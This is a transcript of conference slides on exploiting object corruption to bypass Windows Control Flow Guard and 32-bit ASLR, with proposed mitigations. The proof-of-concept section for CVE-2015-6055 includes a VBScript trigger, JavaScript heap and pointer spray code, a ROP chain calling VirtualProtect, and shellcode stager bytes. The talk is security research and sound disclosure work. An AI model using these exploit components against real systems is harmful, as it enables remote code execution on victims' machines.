Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Object Oriented Exploitation: New techniques in Windows mitigation bypass

7,104 views

Published on

New techniques to bypass CFG and 32-bit ASLR.

Video at: https://www.youtube.com/watch?v=mZU8o057n80

Published in: Software
  • Be the first to comment

Object Oriented Exploitation: New techniques in Windows mitigation bypass

  1. 1. © Pentest Limited 2016 - All rights reserved Object Oriented Exploitation: New techniques in Windows mitigation bypass Sam Thomas
  2. 2. Agenda • Object oriented exploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  3. 3. Agenda • Object oriented exploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  4. 4. Object oriented exploitation? Object Injection • Deserialization • User controlled instantiation Object Corruption • Type confusion • Use after free • Targeted (overflow/overwrite)
  5. 5. Object corruption • In Object injection we typically introduce a complete new Object into the target process/application • In Object corruption we typically “corrupt” an existing Object • We often don’t control the corrupt Object completely: • Type confusion • Use after free in isolated heaps [1] • Targeted by a limited write primitive • Object is an artificial construct (shifted pointers)
  6. 6. Simple object with virtual methods in (Visual) C++ *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method4+0x0c …… *methodXXX… Function tableObject
  7. 7. Simple virtual method invocation (pre CFG) Code (32-bit): (eax = object pointer) mov ecx, [eax] push eax call [ecx+offset] Code (64-bit): (rax = object pointer) mov rax, rcx mov rax, [rcx] mov rbx, [rax+offset] call rbx Shorthand: arg0 = OP call [[OP]+offset] OP – Object Pointer
  8. 8. Original (pre DEP/ASLR/CFG) corruption *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method invoked+0x0c …… *methodXXX… Function tableObject
  9. 9. Original (pre DEP/ASLR/CFG) corruption corrupt the vtable pointer = control IP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… shellcode/stager+0x00 shellcode/stager+0x04 shellcode/stager+0x08 *method invoked+0x0c …… …… Function tableObject The method invoked could be pointed to “jmp ecx” when we don’t know the shellcode’s address - Heap feng shui [2]
  10. 10. 2009 – DEP – Data Execution Prevention We can no longer execute data Code reuse (ROP) to the rescue
  11. 11. Stack pivoting Code (32-bit): (eax = object pointer) mov ecx, [eax] push eax call [ecx+offset] Code (64-bit): (rax = object pointer) mov rax, rcx mov rax, [rcx] mov rbx, [rax+offset] call rbx xchg ecx,esp retn 0x87, 0xcc, 0xc3 xchg rax,rsp retn 0x94, 0xc3 • We control IP • Point at existing unintended code • Take control of SP
  12. 12. Original (pre CFG) corruption corrupt the vtable pointer = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… ROP+0x00 ROP+0x04 ROP+0x08 *stack pivot+0x0c …… shellcode/stager… Function tableObject
  13. 13. 2012 – VTGuard Virtual Table Guard • Some virtual tables now have an extra entry which is a cookie checked on invocation • It’s value is entirely dependent on the DLL’s base address
  14. 14. 2012 – Effective ASLR Address Space Layout Randomisation • Code is no longer at a known location • Object corruption still works but we need to know the address of known code within the system • “The infoleak era on software exploitation” [3]
  15. 15. 2014 – CFG – Control Flow Guard *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method4+0x0c …… *methodXXX… Function tableObject Pointers for invoked functions must point to valid functions ? ?
  16. 16. Simple virtual method invocation (CFG) Code (32-bit): (eax = object pointer) mov ebx, [eax] push eax mov ecx,[ebx+offset] mov edi, esp call ds:___guard_check_icall_fptr call [ebx+offset] cmp edi, esp jne diediedie Shorthand: arg0 = OP (check icall target) call [[OP]+offset] (check esp not desynced) OP – Object Pointer
  17. 17. Simple virtual method invocation (CFG) Code (64-bit): (rax = object pointer) mov rdi, rax mov rax, [rdi] mov rbx, [rax+offset] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rdi call rbx Shorthand: arg0 = OP (check icall target) call [[OP]+offset] OP – Object Pointer
  18. 18. Agenda • Object oriented exploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  19. 19. CFG – previous known attacks • Several attacks make heavy use of read/write primitives to modify stack or cause unguarded invocations [4] [5] [6] • Rafal Wojtczuk made an interesting observation about a 32-bit only “stack desynchronization” attack that worked before CFG was further hardened [7]
  20. 20. Control Flow Gadgets • We’re going to look at a code reuse attack based on using valid icall targets as our gadgets • I’m certainly not the first person to do this – see [8] - “Counterfeit Object-oriented programming” • We’ll be looking at object corruption and obtaining ROP execution • Where the focus of ROP is the stack, our focus is the current Object (“this”), the first argument passed to any of our gadgets
  21. 21. Control Flow Gadgets *virtual table+0x00 *(&LoadLibraryA – offset)+0x04 *”uncpathnasty.dll”+0x08 property3+0x0c …… *method1+0x00 *method2+0x04 *method3+0x08 *valid icall target+0x0c …… Function tableObject Using object corruption to call imported functions Valid icall target: this->property1->method(this->property2)
  22. 22. Mitigated sensitive functions • NtContinue/longjmp • VirtualProtect/VirtualAlloc (Edge) • LoadLibrary (Edge) • WinExec (Edge on Windows 10 AE) Source [9] - “Windows 10 Mitigation Improvements” – Blackhat 2016 Overwrite return address on the stack “Known limitation that we intend to address with new technology (e.g. with Intel CET)”
  23. 23. Mismatching arguments • A pointer to a local variable (on the stack) sometimes gets passed as an argument • If we can get this passed to a function that treats it as an object on which it sets a property at the relevant offset the return address will be overwritten
  24. 24. void stackOverwrite1() { … int localvar; this->method(&localvar); … } void stackOverwrite2(object var) { … var->propertyA=this->propertyB; … } Imagine two mismatched methods …+0x00 return address+0x04 argument+0x08 local variable+0x0c …… return address… …+0x00 …… propertyA… Stack
  25. 25. Actual code: movups xmm0, xmmword ptr [rcx+1A0h] movups xmmword ptr [rdx], xmm0 movups xmm1, xmmword ptr [rcx+1B0h] movups xmmword ptr [rdx+10h], xmm1 movups xmm0, xmmword ptr [rcx+1C0h] movups xmmword ptr [rdx+20h], xmm0 retn 64 bit stackOverwrite2 CDCompLayer::GetRoundedBordersClipping: Short hand: [edx+0] = [ecx+1a0] [edx+10] = [ecx+1b0] [edx+20] = [ecx+1c0] return *note 128-bit memory ops
  26. 26. Actual code: mov [rsp+arg_8], rbx mov [rsp+arg_0], rcx push rdi sub rsp, 30h mov rax, [rsp+38h+arg_0] mov rdi, [rax+20h] mov rax, [rdi] mov rbx, [rax+98h] mov rcx, rbx call cs:__guard_check_icall_fptr lea rdx, [rsp+38h+var_18] mov rcx, rdi call rbx movsx eax, [rsp+38h+var_18] mov rbx, [rsp+38h+arg_8] and eax, 1 add rsp, 30h pop rdi retn 64-bit stackOverwrite1 – CHTMLEditEvent::IsLeftButton: Short hand: edx=&var_18 ecx=[ecx+20h] call [[ecx]+98h] return
  27. 27. Control Flow Gadgets vtable pointer + given property = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function tableObject
  28. 28. Control Flow Gadgets what if we don’t control the given property? *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function tableObject
  29. 29. Control Flow Gadgets vtable pointer + some property = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 …+0x00 *pivotToProperty+0x04 …+0x08 …… Function table 1 pivotToProperty: … this->property1->method(); …
  30. 30. Control Flow Gadgets what if we don’t control any properties? *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 …+0x00 *pivotToProperty+0x04 …+0x08 …… Function table 1 pivotToProperty: … this->property1->method(); …
  31. 31. Control Flow Gadgets If we could somehow pivot to vtable…. *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2 Function table 1 / Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 ?
  32. 32. Unintended arguments • The 32-bit implementation of CFG checks for a mismatched number of arguments after invocation • There is no check on 64-bit • We can invoke a method with more arguments than we supply, unintended (register/stack) values will be interpreted as arguments • If we could manage to have the vtable pointer interpreted as an argument, then have a method invoked on that argument – we will have pivoted
  33. 33. Vtable pointer as an unintended argument? 32-bit • Most arguments are placed on the stack • We need to place the vtable pointer onto the stack • And interpret it as an argument • We can mismatch stdcall/thiscall (like [7]) 64-bit • First four arguments are passed by register • Find a register set as the vtable pointer • And interpret it as an argument
  34. 34. Actual code: … mov rax, [rcx] mov rsi, rcx mov rbp, r8 mov r14, rdx mov rbx, [rax+48h] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx mov r9, [rsi] mov edi, eax mov rbx, [r9+20h] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx 64 bit vtablePivot1 - CDXEffect::Initialize: Short hand: call [[ecx]+48h] r9 = [ecx] = vtable pointer call [[ecx]+98h]
  35. 35. Actual code: mov rax, rsp mov [rax+20h], r9 mov [rax+18h], r8 mov [rax+10h], rdx mov [rax+8], rcx push rbx push rsi push rdi push r14 sub rsp, 28h mov rdi, rcx mov rsi, r9 test r9, r9 jz short loc_1800334E8 mov rax, [r9] mov rbx, [rax+8] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx 64 bit vtablePivot2 - CDMTouchTarget::Initialize: Short hand: ecx=r9 call [[ecx]+8] Pseudocode: … arg4->method(); …
  36. 36. Control Flow Gadgets We can pivot to vtable…. *virtual table+0x00 property1+0x04 *pivotToVtable1+0x08 *pivotToVtable2+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2 Function table 1 / Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1
  37. 37. Control Flow Gadgets corrupt the vtable pointer = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *virtual table+0x00 ROP… *vtablePivot1… *vtablePivot2… *stackOverwrite1… *stackOverwrite2… *stack pivot… …… shellcode/stager… Function tableObject
  38. 38. Agenda • Object oriented exploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  39. 39. ASLR – Binary/DLL loading (32-bit) • Entropy of DLL base address often stated as 8-bits (e.g. [10]) • Effective entropy is actually higher for most DLLs • Applications and there DLLs not loaded in the same order every time • DLL’s base address 0x10000 aligned 00 00 b1 60
  40. 40. Heap spraying • Ancient technique – SkyLined 2004! [11] • It’s not only static data that can be sprayed • We’ll be doing a pointer spray (See [12] for another example) • Easy to achieve 0x10000 alignment (big allocations)
  41. 41. Shifted pointers 0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 Shifted pointer Pointer • Wherever there is a pointer there is also a shifted pointer • If we control the byte adjacent to the pointer, or it takes a desirable value, we can control the data it’s shifted pointer points to • If we can create a pointer to within a DLL, it’s shifted pointer contains the relevant information to determine it’s base address • We can use this to cause an exploit to “lookup” the relevant payload depending on the DLL’s base address when we control an object pointer
  42. 42. shifted pointer payload pointer to shifted pointer shifted pointers 0x00000000 before spray after spray Shifted pointers - before and after spray free used sprayed with pointers sprayed with payload If we corrupt an object pointer so that it points to a shifted pointer and invoke a method on that object it will call: [[PSP]+offset]=[SP+offset] Our payload is a repeating pattern 0x10000 bytes in length and is 0x10000 aligned, so a different 0x100 byte section will be selected for each possible value of the 3rd highest byte of the shifted pointer (2nd highest byte of the original pointer) Essentially we are selecting which of 0x100 (fake) vtables to use dependent on the value of the DLL’s base address *Note: PSP = Pointer to Shifted Pointer SP = Shifted Pointer e5 b1 60 38e4 e5 b1 60
  43. 43. Shifted pointers beyond 8-bits of entropy pointer to the shifted pointer pointer allocation 0 pointer to the shifted pointer pointer allocation 1 pointer to the shifted pointer pointer allocation 2 pointer to the shifted pointer pointer allocation 3 pattern repeats pointer allocation 0 pointer allocation 1 pointer allocation 2 pointer allocation 3 payload pattern repeats payload • We cannot align our payload beyond 0x10000 bytes • To attack the other bits of entropy within the DLL’s base address we must account for multiple alignments • We can do this by using multiple shifted pointers • We place our payload (a repeating pattern 0x40000 bytes in length) directly after a repeating sequence of four pointer allocations • Which shifted pointer is active at a fixed address determines the alignment of both the pointer allocations and payload. • By overlaying 4 different 0x40000 byte payloads (one for each alignment) we can handle 10-bits of entropy in the base address.
  44. 44. Agenda • Object oriented exploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Pointer spraying and shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  45. 45. CVE-2015-6055 • Francisco Falcón has taken a good look at this one – see [13] “Exploiting Internet Explorer’s MS15-106, Part I: VBScript Filter Type Confusion Vulnerability (CVE- 2015-6055)” for a more detailed explanation of the vulnerability. • For our purposes it’s a fairly simple type confusion vulnerability which gives us control of an object pointer to an object on which a method is invoked.
  46. 46. CVE-2015-6055 Triggering CVE-2015-6055 <SCRIPT language="VBScript"> Set x = CreateObject("Microsoft.XMlHTTP") x.Open "GET", "confusing.bin", false x.Send q = x.responseBody MyIndex = Filter(q,"aaa",true, 1) </SCRIPT> 09 00 ?? ?? ?? ?? ?? ?? XX XX XX XX ?? ?? ?? ?? confusing.bin … mov eax,[esi] mov edi,[eax]* lea eax,[esp+0x14] cmp edi,offset vbscript!NameTbl::QueryInterface je vbscript!VAR::ObjGetDefault+0x1d4 mov esi,esp mov ecx,edi push eax push offset vbscript!IID_IDispatchEx push dword ptr [esp+0x20] call dword ptr [vbscript!__guard_check_icall_fptr] call edi vbscript!VAR::ObjGetDefault (Where we end up) *Note: The first entry from the vtable is called, this causes us a minor inconvenience. If we pivot to the vtable the vtable’s vtable pointer is already used.
  47. 47. PoC – Creating the shifted pointers First, template DOM elements are created through the “document.createElement” function. These elements are then augmented with custom attributes through their “.setAttribute” method, so that their representation in memory (including any headers) takes 0x10000 bytes. For various attributes these DOM elements contain a pointer to MSHTML.DLL next to a user controlled value. We will use the “width” attribute. Different element types use different pointers. magicE_0 = document.createElement("img"); magicE_0.width = target_width; for (i=0;i<16*256-2;i++) { magicE_0.setAttribute("data-xxx"+i,null); } for (i=0;i<256*8;i++) { arr[i*4]=magicE_0.cloneNode(); arr[i*4+1]=magicE_1.cloneNode(); arr[i*4+2]=magicE_2.cloneNode(); arr[i*4+3]=magicE_3.cloneNode(); } Creating a template element Pointer spray with template elements Element Pointer IMG mshtml+0x0d0efc TD mshtml+0x21e1e8 TABLE mshtml+0x21e5e4 HR mshtml+0x21fe14
  48. 48. PoC – Pattern of shifted pointers 0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00 ……………… 0x28010000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28010010 00 14 01 00 fc 0e 9d 60 38 18 00 00 09 00 00 00 ……………… 0x28020000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28020010 00 14 01 00 e8 e1 b1 60 38 18 00 00 09 00 00 00 ……………… 0x28030000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28030010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 ……………… 0x28040000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28040010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00 ………………
  49. 49. PoC – vtable pivot gadgets SP pivotToVtable1 xx xx xx xx xx xx xx xx P2P SP+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x20 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x30 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x40 xx xx xx xx xx xx xx xx vtguard xx xx xx xx SP+0x50 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x60 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x70 xx xx xx xx xx xx xx xx xx xx xx xx pivotToVtable2 SP+0x80 xx xx xx xx pivotToProperty xx xx xx xx xx xx xx xx pivotToVtable1 edi = [arg0] check [[arg0]+0x48] = vtguard push arg0 call [[arg0]+ 0x7c] pivotToVtable2 push edi call [[arg0]+0x84] (stdcall/thiscall mismatch) pivotToProperty push [arg0+0xc] (P2P) call [[[arg0+c]]+0x48] ([[P2P]+48]) CBase::SetAttribute CMarkupPointer::IsRightOfOrEqualTo Ptls6::ClsAnimObject::CalcPresentation
  50. 50. PoC – Overlaying vtable pivot gadgets 0x38????00 pTV. 1 xx xx xx xx xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 xx xx xx xx xx xx xx xx P2P xx xx 0x38????20 xx xx xx xx xx xx xx xx xx vtguard vtguard 0x38????30 … xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????40 xx xx xx xx xx xx vtguard xx xx xx xx xx xx 0x38????50 xx xx xx xx xx xx vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty xx xx xx 0x38????70 xx xx xx xx xx xx xx xx xx xx pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????d0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx xx xx xx xx xx xx xx xx pTV. 1
  51. 51. PoC – stack overwrite gadgets stackOverwrite1 (and [arg4],0) check [[arg0]+328] = vtguard new arg4 = var4 (ebp - 4) call [[arg0]+228] (check eax not zero, not signed) return stackOverwrite2 [arg4+0] = [arg0+1c] [arg4+4] = [arg0+20] [arg4+8] = [arg0+24] [arg4+c] = [arg0+28] return CElement::get_firstChild CCompositionItem::GetBounds • Overwrite EBP and return address • EBP->*ROP (-4) • Return address->*(leave, retn) We need to set vt2+0x228 and vt2+0x328 which overlap on a per 0x100 byte basis. So we will need to interleave “odd” and “even” copies. P2P vtable2 xx xx xx xx xx xx xx xx xx xx xx xx P2P+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx P2P+0x20 *ROP-4 *(leave, retn) xx xx xx xx xx xx xx xx vt2+0x228/0x328 sO2/vtg xx xx xx xx xx xx xx xx xx xx xx xx vt2+0x38 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx vt2+0x48 stackOverwrite1 xx xx xx xx xx xx xx xx xx xx xx xx
  52. 52. PoC – Overlaying stack pivot gadgets 0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2 0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard 0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4 0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg 0x38????50 … xx vtable2 vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o 0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????d0 xx xx xx xx xx xx vtable2 xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1
  53. 53. PoC – ROP chain & shellcode stager Offset Value 0x00 pop eax, ret MSHTML + 0x38593f 0x04 *VirtualProtect MSHTML + 0x11d0594 0x08 jmp [eax] MSHTML + 0x1c4257 0x0c return address (shellcode) 0x385e00b6 0x10 lpAddress (shellcode) 0x385e00b6 0x14 size 0x00010001 0x18 flNewProtect 0x40000040 0x1c lpOldProtect 0x28000015 0xbf, 0xd4, 0x00, 0x5e, 0x38, // mov edi, 0x385e00d4 0xbe, 0xb6, 0x01, 0x5e, 0x38, // mov esi, 0x385e01b6 0x33, 0xc0, // xor eax,eax 0x89, 0xc1, // mov ecx,eax 0x04, 0xff, // add al,0xff // loop: 0x83, 0xc1, 0x1e, // add ecx,0x1e 0xf3, 0xa4, // repe movs.b 0x83, 0xc6, 0x71, // add esi,0x71 0x83, 0xc6, 0x70, // add esi,0x70 0x48, // dec eax 0x75, 0xf2 // jne loop ROP • Not dependent on alignment • Place one copy per 0x100 byte section • 4 different pointers to it Shellcode stager • At offset 0xb6 in every 0x10000 section • Run from 0x385e00b6 • Copies subsequent code from offset 0xb6 to 0xd5 from next 0xff 0x100 byte sections
  54. 54. PoC – 0x100 byte section of payload 0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2 0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard 0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4 0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg 0x38????50 … xx vtable2 vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o 0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty ROP 0x38????a0 ROP 0x38????b0 ROP shellcode 0x38????c0 shellcode 0x38????d0 shellcode vtable2 xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
  55. 55. Demo time
  56. 56. Summary • Control Flow Gadgets • Object oriented bypass of CFG • Usable in just about any scenario we encounter CFG on an Object • Need gadgets • Shifted pointers • Object oriented bypass of 32-bit ASLR • Usable when we can overwrite a double dereferenced call (i.e. Object pointer) • Applicable to a wider range of applications and vulnerabilities than read/write approach • Need pointer and data spraying primitives (controlled allocations)
  57. 57. Conclusions • CFG is ineffective against object corruption in it’s current form in the presence of sufficient valid icall targets / control flow gadgets. • Stack overwrite gadgets mean control of vftable + properties gives control • VFTable pivot gadgets mean vftable control sufficient • 32-bit ASLR is ineffective against object pointer corruption in it’s current form in the presence of sufficient memory allocation primitives. • Simple pointer and heap spraying allows 8-bit reduction in effective entropy when an object pointer can be overwritten (and method invoked) • Multiple pointer spray allows 10-bit reduction
  58. 58. Suggested mitigations Control Flow Gadgets • Method segregation • Unintended arguments would be largely addressed by grouping methods by number of arguments and only invoking a method with the intended number of arguments • We could consider imperfect grouping (e.g. 0,1,2,3,4,5,6,7+ args) • Have compiler place icall targets with Z args aligned to 0xZ0 • Minimal runtime cost and impact on binary size • Stack protection • CET (isolated return address stack) – note hardware level mitigation [14] • Shadow return address and frame pointer used on icall targets which invoke with local variables • VTGuard hardening • VTGuard not based exclusively on the DLL’s base address
  59. 59. Suggested mitigations Shifted Pointers • Enforced pointer alignment • Normal object pointers are (always?) well aligned • Enforce pointer alignment (and ptr,0x7ffffffc) • Select high risk objects probabilistically (like VTGuard)
  60. 60. Questions?
  61. 61. References [1] Hariri, Gorenc, Zuckerbraun – Abusing Silent Mitigations - Blackhat 2015 https://www.blackhat.com/docs/us-15/materials/us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers- Isolated-Heap-And-MemoryProtection.pdf [2] Sotirov – Heap Feng Shui https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf [3] Serna – The info leak era on software exploitation https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf [4] Falcón - Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard on Windows 8.1 Update 3 https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/ [5] Zhang – Bypass Control Flow Guard Comprehensively – Blackhat 2015 https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf [6] Chen – The Birth of a Complete IE11 Exploit Under the New Exploit Mitigations – SyScan 2015 https://infocon.org/cons/SyScan/SyScan%202015%20Singapore/SyScan%202015%20Singapore%20presentations/SyScan15%20Yuki%20Chen%20- %20The%20Birth%20of%20a%20Complete%20IE11%20Exploit%20Under%20the%20New%20Exploit%20Mitigations.pdf [7] Wotjczuk - An interesting detail about Control Flow Guard https://labs.bromium.com/2015/09/28/an-interesting-detail-about-control-flow-guard/ [8] Schuster, Tendyk, Leibchen, Davi, Sadeghi, Holz – Conterfeit Object-oriented Programming https://www.informatik.tu-darmstadt.de/fileadmin/user_upload/Group_TRUST/PubsPDF/2015_-_IEEE_SP_-_COOP.pdf [9] Weston, Miller – Windows 10 Mitigation Improvements - Blackhat 2016 https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
  62. 62. References [10] Johnson, Miller – Windows 8 Mitigation Improvements – Blackhat 2012 https://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf [11] Wever - Internet Explorer IFRAME src&name parameter BoF https://web.archive.org/web/20041207093438/http://www.edup.tudelft.nl/%7Ebjwever/advisory_iframe.html [12] Fratric – Exploit Internet Explorer 11 64-bit http://ifsec.blogspot.co.uk/2013/11/exploiting-internet-explorer-11-64-bit.html [13] Falcón - Exploiting Internet Explorer’s MS15-106, Part I: VBScript Filter Type Confusion Vulnerability (CVE-2015-6055) https://blog.coresecurity.com/2016/04/25/exploiting-internet-explorers-ms15-106-part-i-vbscript-filter-type-confusion-vulnerability-cve-2015-6055/ [14] Patel – Intel release new technology specifications to protect against ROP attacks https://blogs.intel.com/evangelists/2016/06/09/intel-release-new-technology-specifications-protect-rop-attacks/

×